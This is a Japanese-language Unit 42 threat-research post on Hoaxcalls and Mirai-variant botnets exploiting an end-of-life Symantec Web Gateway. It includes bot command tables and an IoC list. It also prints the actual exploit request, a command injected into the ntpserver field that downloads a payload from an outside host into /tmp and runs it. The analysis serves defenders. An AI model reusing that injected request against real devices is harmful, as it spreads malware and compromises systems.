Mirai、Hoaxcallsが標的を拡大 サポート終了バージョンのSymantec Web Gatewayを狙う

By

Category: Unit 42

Tags: , , , , ,

This post is also available in: English (英語)

概要

パロアルトネットワークス脅威インテリジェンス調査チームUnit 42はインターネット上の脅威を積極的に監視しています。この取り組みの一環として、最近筆者はSymantec Secure Web Gateway 5.0.2.8の認証後リモートコード実行の脆弱性を狙う新たなHoaxcallsボットネット、Miraiボットの攻撃ネットキャンペーンを確認しました。同製品は2015年にライフサイクルを終了(End-of-Life: EOL)、その後2019年にサポートを終了(End-of-Support-Life: EOSL)しています。本稿執筆時点でこれ以外のファームウェア バージョンが脆弱であることを示す証拠は確認されていません。なお本稿の内容はSymantec(Broadcom)と共有済みです。また、現在インターネット上で実際に悪用が確認されている本脆弱性は、Symantec Web Gateway 5.2.8にはすでに存在していないことが同社により確認されています。同社は「本脆弱性がProxySGやWeb Security ServicesなどのSecure Web Gatewayソリューションに影響を与えることはないという点を強調したい」としています。

本脆弱性を悪用するHoaxcallsボットネット インスタンスの初認日は2020年4月24日でした。このインスタンスは同ボットネットの進化を調査するなかで浮上してきたもので、Hoaxcallsボットネット自体の初認は同月初めでした。この最新バージョンのHoaxcallsは、コマンドを追加サポートして攻撃者が感染デバイスをより強力にコントロールできるようにしています。たとえば、Hoaxcallsを経由したトラフィックのプロキシ、更新のダウンロード、デバイス再起動をはさんでの永続性維持、再起動防止、開始可能なDDoS攻撃数の増加などです。実際のエクスプロイトは、同脆弱性の詳細公開数日後には確認されていました。このことは、同ボットネットの作者が新しいエクスプロイトが公開されるたび有効性検証をかなり積極的に行っているという事実を裏付けています。

なお5月の初週、筆者は同エクスプロイトを利用するMirai亜種の攻撃キャンペーンも確認しましたが、このキャンペーンではサンプル自体にはDDoS機能が含まれておらず、かわりに資格情報のブルートフォースとSymantec Secure Web Gatewayのリモートコード実行脆弱性を悪用することで感染を広げる役割を担っていました。 本稿では、これら2つの攻撃キャンペーンに関し、特筆すべきと思われる技術的詳細を解説します。

なお、パロアルトネットワークス製品をご利用中のお客様はこの攻撃から保護されています。WildFireはすべての関連サンプルを悪意のあるものとして正しく識別し、脅威防御はこの亜種によって使用されるすべてのエクスプロイトをブロックします。さらに、AutoFocusをご利用中のお客様は、次のタグで同エクスプロイトを追跡できます: SymantecWebGateway_RCE

Hoaxcallsの進化

Bashlite/Gafgytマルウェア ファミリから派生したHoaxcallsボットネットは、2020年4月に最初に発見されました。同ボットネットは、Grandstreamのビジネス電話IP PBXシステムの特定のモデルについて最近公開された脆弱性と、Draytek Vigorルータの脆弱性を悪用しています。

その数週間後、同ボットネットは未修正のZyxel Cloud CNM SecuManager製品の脆弱性も不正利用していることが判明しました。

4月24日に筆者は同ボットネットのサンプルがEOLにいたったSymantec Secure Web Gateway 5.0.2.8 を対象とするエクスプロイトを組み込んだことを確認しました。これには次のフォーマットのHTTPリクエストが使われていました。

POST /spywall/timeConfig.php HTTP/1.1

User-Agent: XTC

posttime=1585228657&saveForm=Save&timesync=1&ntpserver=http://qweqwe.com;$(wget%20http://plexle.us/Th5xrRAm%20-O%20/tmp/viktor%20&&%20chmod%20777%20/tmp/viktor%20&&%20/tmp/viktor);#&timezone=5

上記スニペットが示すとおり、サンプルのなかには公開ファイル アップロード サービスのURL(plexle[.]us)にアクセスするものがあります。この場所にはエクスプロイト後のペイロードがホスティングされています。

侵害の指標(IOC)をまとめた一覧と同アクティビティのタイムラインについては本稿巻末をご参照ください。

Hoaxcallsボットネットの新バージョンは、まったく同じキー、同じ暗号化スキームを使用するという点では初期バージョンとよく似ています。ただし新バージョンでは、コマンドを追加でサポートし、攻撃者が感染デバイスをより強力にコントロールできるようになっています。たとえば、Hoaxcallsを経由したトラフィックのプロキシ、更新のダウンロード、デバイス再起動をはさんでの永続性維持、再起動防止、開始可能なDDoS攻撃数の増加などです。こうした機能について以下詳述します。

フラッダ コマンド 説明
SYMANTEC 先にのべたリモートコード実行脆弱性を使用しSymantec Secure Web Gatewayデバイスをスキャン・感染させる
FASTFLUX デバイスから攻撃者の指定するアドレスへトラフィックをプロキシする
UNINSTALL 実行中のマルウェア プロセスを強制終了する
KILLTELNET デバイスのtelnetサービスを強制終了する(おそらくは感染デバイスの管理者に管理業務を行いづらくさせる目的と思われる)
LOCKDEVICE cronジョブを設定してバイナリの実行状況を確認、デバイス再起動後も永続性を維持する
UPDATE 既存ボットバイナリを削除しwgetないしtftpで164[.]132.92.180/shから更新をダウンロードする(同更新用URLは下図1に示すスクリプトを提供)
MOVE IRCサーバーを切り替える
IOCTL 再起動を防ぐためwatchdogタイマを無効にする
HTTPCONN 指定したターゲットへのHTTP CONNECTIONリクエスト フラッドを開始する
HTTPOPTIONS 指定したターゲットへのHTTP OPTIONSリクエスト フラッドを開始する
HTTPTRACE 指定したターゲットへのHTTP TRACEリクエスト フラッドを開始する
HTTPDELETE 指定したターゲットへのHTTP DELETE リクエスト フラッドを開始する
HTTPPUT 指定したターゲットへのHTTP PUTリクエスト フラッドを開始する
HTTPPOST 指定したターゲットへのHTTP POSTリクエスト フラッドを開始する
HTTPHEAD 指定したターゲットへのHTTP HEADリクエスト フラッドを開始する
HTTPGET 指定したターゲットへのHTTP GETリクエスト フラッドを開始する
URG 指定されたターゲットへのURGフラッドを開始する
PSH 指定されたターゲットへのPSHフラッドを開始する
ACK 指定されたターゲットへのACKフラッドを開始する
FIN 指定されたターゲットへのFINフラッドを開始する
RST 指定されたターゲットへのRSTフラッドを開始する
SYN 指定されたターゲットへのSYNフラッドを開始する
TCP 指定されたターゲットへのTCPフラッドを開始する
VSE 指定されたターゲットへのVSERGフラッドを開始する

表1 新しいフラッダ コマンド

更新取得のためにアクセスするURLにはシェルスクリプトが提供されており、このスクリプトで攻撃者の制御下にあるURLからバイナリをダウンロード・実行するようになっています。

図 1. Hoaxcallsの更新用URL
図 1. Hoaxcallsの更新用URL
これ以前のバージョンのHoaxcallsボットネットと今回のものとで共通のボット コマンドやフラッダ コマンドはこちらの記事で詳しく解説していますので合わせてご一読ください。

Mirai亜種

もうひとつのMirai亜種による攻撃キャンペーン サンプルは5月上旬に確認されました。こちらのサンプルはMiraiのソースコードをベースにビルドされており、UPXアルゴリズムに、それぞれに異なる4バイト長のキーを4つ使うUPXの修正版を使ってパックされていました。

Miraiのソースコードとのもう1つの相違点は、バイト単位の文字列暗号化スキームに、累積的に利用する8バイトキーを10個すべて使用していた点です:

0xDEADBEEF、0x85DAB8BF、0xDEEDEEBF、0xDEABBEAF、0xDBBD45BF、0x246584EF、0x85BFE8BF, 0xD68395BF、0xDBAAAAAF、0x0DAABEEF

これはHoaxcallsボットネットのスキームによく似ていますし、Miraiの以前の亜種でもこれと同様のスキームを使う様子が観測されています 。ただし、以前の実装からも明らかなとおり、複数のキーを使用したからといってそのぶん暗号複雑度が高まるわけではありません。今回の場合、基本的にはバイト単位で0x5aとXOR暗号化するのと同等の結果となります。

この攻撃キャンペーンでは、サンプル自体にDDoS機能は含まれておらず、かわりに資格情報のブルートフォースとSymantec Secure Web Gatewayのリモートコード実行脆弱性を悪用することで感染を広げる役割を担っています。

エクスプロイトの成功に関する予測

本ボットネットのエクスプロイト・感染の成功については次の2つの事実から限定的なものとなりそうです。この点は言及する価値があるでしょう。

  1. 今回エクスプロイトの対象となったSymantec Secure Web Gatewayのリモートコード実行脆弱性は、認証後の脆弱性です。つまり、エクスプロイトはすでに認証済みのセッションでのみ有効ということになります。
  2. 対象となるデバイスが2012年にはすでにライフサイクルを終了している製品です。つまり新しいファームウェアを使用したインストールベースには影響しないということになります。

結論

今回はどちらのキャンペーンについても、Symantec Secure Web Gateway リモートコード実行脆弱性が認証後のものであるという性質上、エクスプロイトの成功が限定的になることが予測されます。

パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。

  • WildFireは本稿に記載したすべてのサンプルを検出し「Malicious(悪意のある)」ものと判定します
  • 脅威防御は本亜種によって使用されるすべてのエクスプロイトをブロックします

本エクスプロイトは次のAutoFocusタグで追跡できます: SymantecWebGateway_RCE

パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org

IoC

初出 SHA256値 URL
2020-05-07 1cec4576595048a179bf8c21b58f33ef61ae1825b2b3f0a86915a741a04f253f 45[.]95.168.250/swrgiuhguhwrguiwetu/arm
2020-05-07 a31187ed8545789ff2979037e19e1ca18d35a75820a1ec91053782f30c47ecc5 45[.]95.168.250/swrgiuhguhwrguiwetu/arm5
2020-05-07 ef5d39a3fa641b4d55d870437a9ba774eefcfa2c69066dd0a6fbe513a4b7a8f2 45[.]95.168.250/swrgiuhguhwrguiwetu/arm6
2020-05-07 04e8356bdc8782cf03acc9f69ff6fa9dfde7378dcd1fe0dc737d13fd4d7e061e 45[.]95.168.250/swrgiuhguhwrguiwetu/arm7
2020-05-07 60f755288c9d3110d2fe5d872b2c045156dcea4be9a5cc918bddf1e786881842 45[.]95.168.250/swrgiuhguhwrguiwetu/m68k
2020-05-07 0e531e105aa3419cd19e95fa9d44f6176157002a09444a1e5465657d743180ac 45[.]95.168.250/swrgiuhguhwrguiwetu/mips
2020-05-07 02dc186a39607475838bb4859f89e7a200f74fed41400ab5db4eb42d3f58f772 45[.]95.168.250/swrgiuhguhwrguiwetu/mpsl
2020-05-07 72675ccf2d4e0d0aac2f5121a6a80ea1efc4f30b22e64b07bd891438de2bf82a 45[.]95.168.250/swrgiuhguhwrguiwetu/ppc
2020-05-07 0a48cc158a07e13bd76ac941c4523692530f836d69256b02a10052248263d781 45[.]95.168.250/swrgiuhguhwrguiwetu/sh4
2020-05-07 37dfde696632295e806924de3d3ab751404e2a968e063a12ce72eb2e3ce0b984 45[.]95.168.250/swrgiuhguhwrguiwetu/x86
2020-05-02 da84fd43cb8701c4e23dd0a4175ebccebda026ca2f47b7b1bad393205075389f 164[.]132.92.180/arm4
2020-05-02 287645a5a29a39ef94aa0cdebdbd3cb4ad2a45ead8894fc323a5a2a76a7fdb0d 164[.]132.92.180/arm5
2020-05-02 4a4316178e85e0d4c94d74af9f2258c045194cf7a4f4a83a90abf5db09fbaa04 164[.]132.92.180/i586
2020-05-02 38290965b2cd8048b3ef076487b99dfbeef457f6f6f9998b95ff922e160a5113 164[.]132.92.180/i486
2020-05-02 25d1c51135dca20f4f7a720f237d9186edde2a2a664ede6bef37e843e7be409c 164[.]132.92.180/i686
2020-05-02 012d49c6e847f2f75983b46a9a1310dac29b5f8d30b665ae2124d8619b80753b 164[.]132.92.180/m68k
2020-05-02 763dfa5f391d27e65be6682c2e58c888df309fa2732781db312f5c9b10e6d5a1 164[.]132.92.180/mips
2020-05-02 ad1156e6ad91b02f225d82d96000cf9abf671a305e8c5c61229d69dbed5050ba 164[.]132.92.180/mips64
2020-05-02 28f31eb4b1fd3b7e742f5043a26b383585317d16bbfdae0296e18b90dcbec29b 164[.]132.92.180/ppc440
2020-05-02 5d8756118b7e017eb4f4c5da4236191b20a5c8cb96abb76c26f0e918a76bd973 164[.]132.92.180/mpsl
2020-05-02 1f64287ae9ea968017b3615f2b5b51932d7eeb3f0ee6621f74ae29af8f1a27d5 164[.]132.92.180/sh4
2020-05-02 65a8ea32f77c2d18325d49d0cc32a4bbf893a2f106e77e8a8670191c71b456a9 164[.]132.92.180/spc
2020-05-02 2b0854d40d8ffdca886f4540156b7addc4245de5df197e39ce198b9cf098944a 164[.]132.92.180/arm6
2020-05-02 43ce5e4fb95b57fa2921d718e989107a594d5287b5bbbcb3e9bff262a982e815 164[.]132.92.180/ppc
2020-05-02 3d6be7b9bd4798000230e354a5777601ca6672c8d84af842469ddeb1681ed7f2 164[.]132.92.180/arm7
2020-05-02 e0141934100df75d6b0c61858fc4cc44f97ce2a2588aa5d042f965f9542b843b 164[.]132.92.180/x86
2020-05-01 85f397e052950f736b32f0463dce7a1458ed034bec57284ea83d2ee4788f8a82 164[.]132.92.180/x86
2020-05-01 b39763036951bb373e1389362c4de6c4cbd3af3757dbb66d53fceb69de02677f 164[.]132.92.180/arm7
2020-05-01 6d76fd0bb5ba2d1c19f64288bb4b20eb136171aa8ea1afb685d2e363911aab2f 164[.]132.92.180/arm6
2020-05-01 5415ce3e759bcc3a8a163a84b64a7185f6540d4ec0ff07627ac770fd0ef0244d 164[.]132.92.180/arm5
2020-05-01 b52f8ff49e172a3e41ec60010c4089e3534ad1f0582a7ee04c4aa58c34db21ca 164[.]132.92.180/arm4
2020-05-01 e248445c39cac693fc2a921e41879fb80286f418c352d7a9d428d6181fe113a3 164[.]132.92.180/mpsl
2020-05-01 a3e2d3536d3facd3d825949addd7e99152b5df395b26e41e04b16be0a8cf4d85 164[.]132.92.180/mips
2020-04-27 82e5e0f6c130a3f0424cf33468f5ec7a3a66d14f5d346196d1b604ecd2b1e6a3 164[.]132.92.180/x86
2020-04-27 fa1bc69c9eccaaa4b8131856f9e69837f10dfa1236a65e0a8954d297c2a465bd 164[.]132.92.180/arm4
2020-04-26 233d4f6ee9f0ffb52b88de0218a0a4b04e3b20c5440e6414255d644ef696d190
2020-04-24 81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee plexle[.]us/Th5xrRAm
2020-04-24 e15eeeaeb0ac0639bf3491ba8801e30516e085047f2d787397966065bdf9d5e7
2020-04-24 5916171938fba2d218de38c8b1f484345bc62d436b7b501ef986ae06c133b13d
2020-04-24 970496ac754ce7573216950a9904bdfc75574b4c0605e1d62364be799b9c813b
2020-04-24 735beaa92e7d697a521c7ed5292b3e8100c29a2af88f1a1b99abf0a1bc5ab5c8 164[.]132.92.180/i686
2020-04-24 84e017a59f9f7d7d5fde40bc2867a1e9d6ec6fae63b3e21685b3bb7166357531 164[.]132.92.180/arm7
2020-04-24 81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee
2020-04-24 9ce642628cec8de80d2186d5d7f020635180326ed9e33cabde46d6c9b2caba1b
2020-04-24 20c3f1bbf4ae4733c6e01eb4f82a251bcb5b0ae0bd5f1b1a028b7ff65ea779af
2020-04-24 ddab987e986f76fcc36af92a6ea15439dd36253d91c0c3cddd77b2b9fd9ff395
2020-04-24 7bca6fcc70d14253803780e80ee57b29814adeae1af993374f919a1017f5b0f5